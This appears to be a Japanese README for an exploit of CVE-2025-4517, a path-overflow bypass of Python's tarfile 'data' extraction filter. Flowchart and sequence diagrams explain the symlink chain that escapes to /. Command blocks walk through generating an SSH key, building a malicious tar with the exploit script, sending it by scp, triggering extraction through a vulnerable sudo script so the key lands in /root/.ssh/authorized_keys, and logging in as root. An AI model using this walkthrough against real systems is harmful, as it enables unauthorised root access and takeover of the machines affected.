flowchart TD
    A["攻撃者が悪意のあるtarを作成"] --> B["tarに含まれるもの:
    16個のdir/symlinkペア
    254文字の脱出用symlink
    'escape' symlink → /
    ペイロードファイル"]

    B --> C["対象が展開する
    tarfile.extractall(filter='data')"]

    C --> D{"Pythonがシンボリックリンクを解決
    via os.path.realpath()"}

    D --> E["短いsymlink a→ddd...d を追跡
    解決パスがステップごとに増加"]

    E --> F{"解決パス長
    > PATH_MAX (4096)?"}

    F -->|"No (正常)"| G["realpathが正しく解決
    シンボリックリンクがフィルターにブロックされる ✓"]

    F -->|"Yes (オーバーフロー!)"| H["realpathが解決をSTOP
    文字列操作にフォールバック"]

    H --> I["Pythonはsymlinkが
    展開ディレクトリ内部に解決すると誤認識"]

    I --> J["フィルターがsymlinkを許可 ✗"]

    J --> K["OSはsymlinkを正しく追跡
    'escape' は / に解決"]

    K --> L["ペイロードが
    ディスク上の任意のファイルに書き込まれる"]

    style F fill:#ff6b6b,color:#fff
    style H fill:#ff6b6b,color:#fff
    style J fill:#ff6b6b,color:#fff
    style L fill:#ff6b6b,color:#fff
    style G fill:#51cf66,color:#fff

sequenceDiagram
    participant A as 攻撃者マシン
    participant T as 対象マシン

    Note over A: フェーズ1 — 準備
    A->>A: SSH鍵ペアを生成 (ssh-keygen)
    A->>A: エクスプロイト変数を設定<br/>(DEST_DIR, DEPTH_TO_ROOT など)
    A->>A: CVE-2025-4517.py または .go を実行<br/>悪意のあるtarを生成

    Note over A,T: フェーズ2 — 配送
    A->>T: 悪意のあるtarを対象に転送<br/>(scp, wget, curl, ftp など)
    T->>T: tarを脆弱なスクリプトが<br/>アクセス可能な場所に配置

    Note over T: フェーズ3 — 悪用
    T->>T: 脆弱なPythonスクリプトにより<br/>展開をトリガー
    T->>T: Python が tarfile.extractall(filter="data") を呼び出す

    Note over T: Pythonが見るものと現実
    T->>T: realpath() が PATH_MAX でオーバーフロー
    T->>T: フィルターが "escape" symlink を安全と判断
    T->>T: OS が "escape" を追跡 → / に解決
    T->>T: ペイロードが /root/.ssh/authorized_keys に書き込まれる

    Note over A,T: フェーズ4 — アクセス
    A->>T: 書き込まれた鍵を使ってSSHでrootログイン
    T-->>A: Rootシェルを取得

graph LR
    subgraph "Tarメンバー（展開順）"
        D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
        D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
        D3["📁 ...16階層..."] --> S3["🔗 .../p → ddd...d"]
        S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
        S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
        F1["📄 escape/root/.ssh/authorized_keys<br/>(ペイロード内容)"]
    end

    S1 -.->|"短いパス<br/>小さく保たれる"| S2
    S2 -.-> S3
    S3 -.-> S4
    S4 -.->|"254文字で<br/>PATH_MAX を超える"| S5
    S5 -.->|"/ に解決"| F1

# 1. SSH鍵ペアを生成
ssh-keygen -t ed25519 -f root_key -N ''

# 2. CVE-2025-4517.py を編集 — DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT を更新

# 3. 悪意のあるtarを生成
python3 CVE-2025-4517.py

# 4. 対象に転送
scp backup_99.tar user@target:/path/to/backups/

# 1. SSH鍵ペアを生成
ssh-keygen -t ed25519 -f root_key -N ''

# 2. CVE-2025-4517.go を編集 — destDir, depthToRoot, payload, output を更新

# 3. 悪意のあるtarを生成
go run CVE-2025-4517.go

# 4. 対象に転送
scp backup_99.tar user@target:/path/to/backups/

# 脆弱なPythonスクリプトを介して展開をトリガー
# 正確なコマンドはスクリプトの起動方法に依存します
# 例:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir

# 植え付けた鍵を使ってSSHでrootログイン
ssh -i root_key root@target

/tmp/staging/extract_dir/
 (1)   (2)     (3)

DEPTH_TO_ROOT = 3

/var/lib/app/data/staging/
 (1) (2)  (3) (4)   (5)

DEPTH_TO_ROOT = 5

/opt/restore/backups/output_dir/
 (1)   (2)     (3)      (4)

DEPTH_TO_ROOT = 4

import tarfile

with tarfile.open("archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")  # 脆弱